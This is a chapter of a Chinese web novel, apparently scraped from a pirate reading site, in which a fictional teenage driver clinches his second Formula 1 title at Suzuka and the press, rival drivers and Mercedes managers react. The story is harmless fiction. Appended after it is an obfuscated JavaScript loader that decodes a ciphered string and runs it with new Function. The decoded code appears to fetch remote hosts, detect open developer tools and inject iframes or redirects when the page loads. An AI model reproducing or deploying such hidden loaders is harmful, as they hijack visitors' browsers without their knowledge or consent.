首页
第310章 提前锁定
返回

第310章 提前锁定

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    吴轼没想到还真是他想的那样。
    玛蒂娜将马尔乔内的话带到了,说道:
    “虽然很不可置信,但是他就是这么跟我说的。”
    “好吧,我只能说我现在和梅赛德斯合作的很愉快。”吴轼笑道。
    “我想也是。”玛蒂娜笑了起来。
    两人很默契的没有去聊两支车队的其余情况,不然太容易造成误会。
    “要不要提前祝贺你?这两站如果不出意外,你就要锁定世界冠军了,19岁的两届世界冠军啊!”玛蒂娜感慨着说道。
    “那倒不用了,比赛还没有结束。”
    吴轼摇头,秉持着不提前开香槟的习惯。
    和玛蒂娜聊完后,吴轼也回到了车队,思考着马尔乔内到底想要干什么。
    不过他很快将这个问题忽略了,等到日本大奖赛结束后再说吧。
    他到时候得跟希德通通气,法拉利的邀请他不会同意,但是可以和托托加加价。
    和梅奔的五年大合同里并没有直接固定每年的年薪,说是逐年上调。
    可具体怎么上调,下限是锁死的,上限却依然可以商议。
    有了法拉利的助攻,他的年薪说不定就可以成为全围场最高的那个了。
    钱嘛,谁也不嫌多。
    周四在赛场报到后,很快就召开了赛前的新闻发布会。
    吴轼作为目前的积分领跑者,也受邀参加。
    沙发左右两边分别是汉密尔顿和维特尔。
    等到三位车手坐定,主持人简单的说了下比赛的情况,于是就开始将记者准备的问题问出来。
    “吴轼,此时你拥有90分的领先优势,世界冠军距离你已经非常接近。
    “结合你过往的表现,我们是否可以提前打开香槟为你祝贺了?”
    这个问题不出所料,吴轼整理了下自己的梅奔帽子,说道:
    “还有五场比赛,刘易斯仍然有机会追上我,我并不认为比赛就结束了。”
    主持人听到忍不住莞尔,随即继续说道:
    “在从夏休期回来后,我们看到梅赛德斯的赛车非常快,但是这其中似乎涉嫌到引擎技术上的额外设置,能谈谈是什么情况吗?这个问题同时询问刘易斯。”
    吴轼拿着话筒看向了汉密尔顿。
    老汉微笑下示意他先说。
    于是吴轼也不客气,说道:
    “呃,我只是名车手,说实话,我都没上过几年学,你这个问题都没有听懂,所以你应该去问问我们的工程师。”
    即使心里门清,这种问题就不能回答。
    主持人点点头,看向刘易斯。
    汉密尔顿拿着话筒,掂量了两下才说道:
    “我和吴轼的观点是一样的,我们是车手,只负责驾驶。”
    看到两人都回绝了这个问题,提出这个问题的记者就偃旗息鼓了。
    事实上,这种问题问出来一般都是引起话题讨论,顺便看看车手会不会说漏嘴。
    主持人随即向着吴轼提问:
    “我们得到消息,据说法拉利正在和你谈论明年或者后年的合作?你能跟我们说说这是什么情况吗?”
    围场的记者鼻子还真是灵敏啊。
    吴轼拿着话筒直接说道:“我不知道。”
    主持人继续看着他,似乎在等待更多的回答。
    吴轼不得不再说两句:
    “Yeah,我并不清楚这些事情。
    “我现在只想和梅赛德斯一起完成这个赛季的比赛,至于更多的问题,真不在我考虑的范围之内。”
    主持人终于是让他过关,随后看向了汉密尔顿,说道:
    “刘易斯,之前你曾表示过有退役的想法,现在你如何看待这个问题?”
    汉密尔顿有几分诧异,显然没有料到这个时候突然来问这些。
    不过他还是说道:
    “我没有这个打算,和吴轼作为队友是一件非常有意思的事情,他非常的强大,今年的世界冠军对于他来说已经近在咫尺。
    “所以我会继续和他搭档下去,在明年重新开始一个赛季。”
    火药味,不少记者已经听出来了。
    到了现在,哪怕是汉密尔顿也已经默认了今年的结局。
    但是明年将是新的开始,汉密尔顿一定会想办法去挑战吴轼的。
    两位两届世界冠军的较量,本身就是个具有话题度的事情。
    更何况汉密尔顿在梅奔即将第三次丢掉可能获得的世界冠军,但汉密尔顿没有气馁,依然吹向了进攻的号角。
    思维灵活的记者甚至于已经想好了新闻标题,就叫:
    “刘易斯·汉密尔顿:我会在明年战胜吴轼。”
    至于老汉有没有具体说过这句话,不重要。
    最后,主持人看向了维特尔询问道:
    “塞巴斯蒂安,上场比赛你们的运气似乎不太好,遇到了些引擎上的问题?”
    维特尔点头,说道:“是的,不过我们已经解决了,我们不会在这里再度遇到相同的问题了。”
    “你如何看待目前积分榜的情况?”主持人继续问道。
    “我们仍旧希望以第二名完赛。”维特尔说出了实际的目标。
    简单的新闻发布会结束,至于更多的采访内容,就看记者们自己能不能找到机会了。
    吴轼和两人一起走出了会客室,扭了扭脖子。
    “提前恭喜你了。”汉密尔顿说道。
    “不,比赛还没结束呢。”吴轼笑着回应。
    维特尔看到后忍不住笑了起来,说道:
    “还有五站比赛,你只要再多拿10分就可以终结比赛了,你应该接受祝贺,你就是今年的世界冠军了。”
    不管是维特尔也好,还是其余欧洲车手也好,他们不太喜欢去谦虚。
    “好吧,谢谢。”
    不过吴轼也知道,现在的谦虚也已经过头了,他只能无奈的笑了笑。
    铃鹿赛道的天气是多变的,周五练习赛时分就下起了雨。
    这让大部分车队都没有机会得到充分的练习。
    吴轼想到了2015年在威廉姆斯的时候,练习赛下雨会让他们非常被动,因为没法做好调校。
    然而对于梅奔来说,这不过是些许雨水罢了。
    等到了周六上午,干地上的三练证明了这一点。
    吴轼压根没有完全发力,就和汉密尔顿一起垄断了一、二两名。
    夏休后的梅赛德斯,在某种程度上来说,车辆已经不是其余车队可以比的了。
    所以下午的排位赛,杆位的悬念演变成汉密尔顿会不会压过吴轼。
    可结果依旧,吴轼以领先0.299秒的成绩拿到了杆位。
    汉密尔顿仅仅跑出了1分27秒419的成绩排在第二。
    等到了第三名的维特尔,圈速猛然下滑到1分27秒719。
    这个排位结果已经让仅仅想要争夺第二名的法拉利眉头紧皱了。
    然而更加糟糕的是,等到了周日的正赛,天气很好,法拉利的车又不好了。
    不好到法拉利甚至于在发车格上拆开了整个引擎整流罩来处理突然出现的引擎问题。
    等到灯灭起跑,两辆梅奔遥遥领先,维特尔却明显慢得不行,很快被接连超越。
    仅仅第五圈,维特尔就不得不退赛了。
    观赛的马尔乔内面色难看。
    坐在总部的比诺托后背冷汗直流。
    吴轼领跑一直将速度节奏控制得非常好。
    汉密尔顿无法追近吴轼,都到了这种时候,他也不准备再搞什么事情。
    不然不仅不会为他在托托那边加分,反而是会让他在那边扣分。
    他本来准备慢慢开的,结果后面的维斯塔潘非常快,拼命想要追他。
    他稍微坚持了两圈,立即在TR里要求:“Bro,让吴轼开快点,我需要干净空气,或者给他给我提供DRS。”
    乔纳森将车队的要求告诉了吴轼。
    吴轼听到,稍微思考了下就回应道:
    “没有办法再提速,不然轮胎无法按照预期管理,我们很可能存在不必要的麻烦。”
    吴轼的婉拒并没有让梅奔再下车队指令。
    随后,汉密尔顿长期在脏空气下却又吃不到DRS,轮胎管理非常不理想。
    等到最后十来圈,维斯塔潘抓到了机会,并向世人展现出了什么叫初生牛犊不怕虎。
    猛烈进攻后,他成功用较新的轮胎过掉了汉密尔顿!
    “喔喔,维斯塔潘这个超车相当精彩啊!”兵哥看到这个超车,大力鼓掌。
    “汉密尔顿现在落到了第三位,他还想要超回去,能过去吗?!”
    汉密尔顿的进攻遇到了维斯塔潘的刹车区轻微变线化为了乌有。
    被这么一卡,排名也再没有变动,直至比赛结束。
    吴轼第一,维斯塔潘第二,汉密尔顿第三,Kimi第四,奥康第五,佩雷兹第六。
    “吴轼这站比汉密尔顿多拿了10分,总积分正好领先100分了吧?”
    兵哥看到比赛结束,猛然说道。
    飞哥算了遍,说道:“对,现在吴轼应该是352分,汉密尔顿252分!”
    “夺冠啦!恭喜吴轼成为两届世界冠军啊!”
    兵哥立即高兴的拍掌。
    比赛还剩最后四站,哪怕吴轼一场都不得分,汉密尔顿也最多追100分。
    然而全年的分站冠军数吴轼更多,也就是说同分的情况下,世界冠军依然是吴轼的!
    “哇哈哈!恭喜吴轼提前四站拿到世界冠军,真是太强了。”飞哥理顺后大声欢呼。
    “而且你发现了没有,这还是在霓虹锁定的世界冠军。”兵哥大笑。
    而此时领奖台上,国歌奏响,吴轼回身看了看。
    汉密尔顿面无表情,维斯塔潘却很开心。
    颁奖仪式、香槟庆祝结束后,采访者上台,看向吴轼:
    “吴轼,恭喜你!提前锁定了世界冠军的头衔。”
    “谢谢!”
    吴轼乐呵呵道,心情激荡不已,他感谢了车队和所有人。
    虽然早就有了预期,可是真正拿到第二个头衔的时候,还是止不住有种兴奋感。
    随着赛季的尘埃落定,央视也适时找了上来,开始利用空余时间和吴轼沟通纪录片的事情。
    在前半个赛季,央视的摄像已经多次深入赛场、威廉姆斯、梅赛德斯拍摄视频了。
    不过当时为了避免打扰吴轼的工作,所以并没有拍摄多少吴轼出境讲述的镜头。
    而除了央视的行动外,欧洲各国的媒体也都发表了关于吴轼提前锁定第二个F1世界冠军的评论文章。
    有称呼他是“新生代里最具实力和魅力的车手,拥有着最强的天赋和无与伦比的驾驶技巧。”
    也有说他是“站在梅奔的肩膀上拿到了世界冠军,仅仅是战胜了两个年老的优秀车手的年轻车手。”
    更是不少指责他在铃鹿赛道上压车,让汉密尔顿被维斯塔潘超过,从而导致车队损失了积分的事情。
    结果没想到批评的言论传回国内,竟然收获了一些赛道爱好者的拥趸,认为吴轼被抬得太高了。
    并发挥了他们一贯的双标,认为吴轼的做法非常可耻。
    可不管这些人怎么说,反正梅奔对此的反应并不激烈。
    汉密尔顿在面对采访的时候也没有任何指责,只是说:
    “这是比赛,你不得不承认大家都在为了自己的荣誉而战,我理解他的行为。”
    吴轼看到汉密尔顿言论,立即在自己的个人平台上发布了解释:
    “轮胎管理依然困扰着我们,我没有办法开得更快,不然加速老化的轮胎将使得我失去竞争力。
    “刘易斯被Max超越,我很遗憾,我在按照车队指示的那样尽力带开,可我做不到。”
    这是必须得回应的,不然事实就变成了汉密尔顿说的那样——是他吴轼故意压车导致队友失去了第二名的位置。
    汉密尔顿的言行从来不是随意进行的。
    因为吴轼加冕第二个世界冠军,并且维特尔退赛。
    所以这次疑似“压车”导致汉密尔顿被维斯塔潘超越的行为并没有真正引发什么舆论。
    托托和劳达也不认为这是什么事情,或者说,他们巴不得早点把结果确定了。
    大家没想到世界冠军的争夺悬念提前这么早结束了。
    天空体育为了这事儿还邀请了罗斯伯格来进行评论,罗斯伯格毫不讳言:
    “吴轼,我和他第一次深入接触是在2014年的新加坡,那一场练习赛,他一战成名。
    “而托托当年也很大胆,竟然愿意在FP1就将赛车开到全功率让他驾驶。
    “再之后的事情,大家就都知道了,他在威廉姆斯拿到了人生的第一个世界冠军。
    “他不仅是最年轻的世界冠军,还是新秀即获得世界冠军的伟大车手。
    “是的,我认为他已经可以称之为伟大的车手了。
    “我和刘易斯做过队友,我知道战胜他有多么困难,但吴轼战胜他却显得那么轻松。”
    罗斯伯格在夸耀了吴轼之后,也不忘用点儿篇幅评价汉密尔顿:
    “他是个优秀的车手,我曾经认为他具备难以置信的稳定性,但是他却不如吴轼稳定。
    “他最大的弱点不在于这里,而在于心态波动不定。
    “在如此高水平的竞争中,即使是小事也非常重要。
    “如果有什么事情打扰你,或者你把所有的精力都放在另一个领域,它可能会分散你的注意力。
    “去年刘易斯就发生过这种情况,当时他在Snapchat上参加新闻发布会,然后他不得不与愤怒的媒体作斗争。
    “这是浪费精力的,尤其是在世界锦标赛的决定性阶段。
    “它破坏了刘易斯的注意力,尤其是在去年的铃鹿,今年上半赛季刘易斯也处于同样的困境之中。”
    罗斯伯格这位2016年世界冠军发表的观点,成为了一种最具真实性的评价。
    面对罗斯伯格的评价,汉密尔顿也直接做了回应:
    “尼科的退役并没有立即让我的事情变得更容易,但他已经不在了,确实有助于净化气氛,现在工作好多了。”
    这种赤裸裸的讽刺,罗斯伯格也丝毫不在意,毕竟离开了围场,这些和他又有什么干系呢?
    阿隆索也在媒体面前发表了对吴轼提前锁定第二个世界冠军的看法:
    “他是个优秀的车手,不用我进行多少赘述,他完成了赛场上其余车手无法完成的很多事情,就这么简单。
    “他能够战胜刘易斯,说明了他具备着极好的心理素质,也说明他非常善于处理和团队的关系。”
    头哥说最后一段话,无外乎是他也和汉密尔顿同一支车队待过。
    那时候两人在车队里搞政治斗争,搞得两人相看两厌。
    从结果来说,头哥最后输了。
    维斯塔潘则是发表了一则庆祝,并没有什么过多的评论。
    毕竟日本大奖赛上,他作为争论的受益者不好说太多。
    或许是结局已定,汉密尔顿在空闲时间对赛车的关注越发少了。
    吴轼也因为纪录片的事情在忙活,这导致梅奔工厂里是拉塞尔坐在模拟器上。
    拉塞尔相当珍惜这些机会,丝毫没有推辞的意思。
    他坐在吴轼的模拟器上,乔纳森在旁边和他说道:
    “我们需要测试下一站的数据,不过更多的是给你练习。”
    “练习?不需要我提供调校参数吗?”拉塞尔有些诧异。
    “当然需要,不过那不是你关注的重点。”乔纳森对拉塞尔说道。
    梅奔只是想看看这位自家的青训车手的水平。
    自从经历了吴轼和维斯塔潘的事情,围场里的领队们就变得更加重视青训队伍搭建了。
    拉塞尔听到乔纳森的话后,将注意力专注在屏幕上,他先用了铃鹿的调校在铃鹿赛道上适应。
    总是在各种媒体上看到吴轼的报道,也曾和吴轼在卡丁车时期交手过,更是听到周冠宇总是提起这位晋升为传奇的车手。
    他内心尚且有着不服气。
    经历这么多年的磨炼,拉塞尔认为自己已经有了足够的实力。
    然后,当他在工况远比实际情况简单的模拟器上跑了三天,他服了。
    吴轼留下的所有圈速记录他都无法企及。
    排位最快圈速,他摸不着。
    正赛巡航速度,他跟上则轮胎损耗过快。
    他发现,如果他在铃鹿替代吴轼,不仅拿不到杆位,就算侥幸拿到了杆位,在正赛也大概率被刘易斯超越。
    他激荡的内心平息,意识到自己缺乏了对F1的敬畏。
    不过他仍然饱含希望,梅奔给他这个机会,说不定明年他就能够真正来跑一跑F1了!
    托托和劳达自然也看到了拉塞尔的表现,两人都知道,围场里一个吴轼已经是奇迹,所以没有再谈论拉塞尔的事情。
    “尼科对刘易斯的评价倒是很中肯。”托托想到了罗斯伯格先前的评论。
    “刘易斯他热爱赛车,也热爱在媒体下展示自己,这是他的性格。”
    有了吴轼,劳达已经不太在意汉密尔顿的情况,虽然当年就是他将汉密尔顿邀请来的。
    “刘易斯会离开我们吗?”
    托托问出了自己的担忧,今年汉密尔顿的状态不能说很差,至少有些分站表现的也很亮眼,他不想失去刘易斯。
    同时,这也是车队的要求。
    一支最好要有两位足够优秀的车手,不然只拿个车手总冠军,年底的分红就会损失巨大!
    “你还怕他离开我们吗?”劳达说道。
    “.WDC和WCC(制造商总冠军、车队总冠军)都很重要。”托托说道。
    “吴轼352分,法拉利363分,真是个奇迹。”
    劳达没有直接回答托托的话,而是开心的说道。
    “哈哈哈。”
    托托一愣,也跟着笑了起来。
    吴轼只输给整支法拉利车队11分,另外一辆车上似乎放谁上去他们都会拿到WCC了?
    托托越想越开心。
    明明今年车辆的统治力不如前两年,可有了吴轼的加盟,他们取得的成绩反而更加闪耀。
    如此收获背后,你说吴轼在铃鹿赛道压汉密尔顿的车?
    不,根据遥测数据,吴轼就是正常驾驶罢了。
    梅奔和吴轼,在混动时代将真正意义上开启了一个王朝——谁让2015年被打断了呢。
    全年20场比赛,已经进行的16场比赛中,吴轼拿到了11场胜利,汉密尔顿拿到了2场。
    对比2014年的19场比赛15胜,也不遑多让。
    而在全年的杆位争夺战中,梅奔更是几乎完全包揽。
    现在,整支团队的所有精力都可以放到2018年了。
    相较于梅奔这边轻松写意、激动兴奋的氛围不同,法拉利此时已经压抑到了极致。
    马尔乔内斥责比诺托,引擎故障再次毁掉了法拉利的一场比赛。
    而红牛,也正处于混动时期的迷茫转型期。
    他们现在唯一能确定的事情就是,要将维斯塔潘留在队内。
    但和雷诺的分道扬镳,却会让他们继续震荡,本田引擎就可靠了吗?
    他们也无法确定,或许还得等到2019年用了本田引擎才知道。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();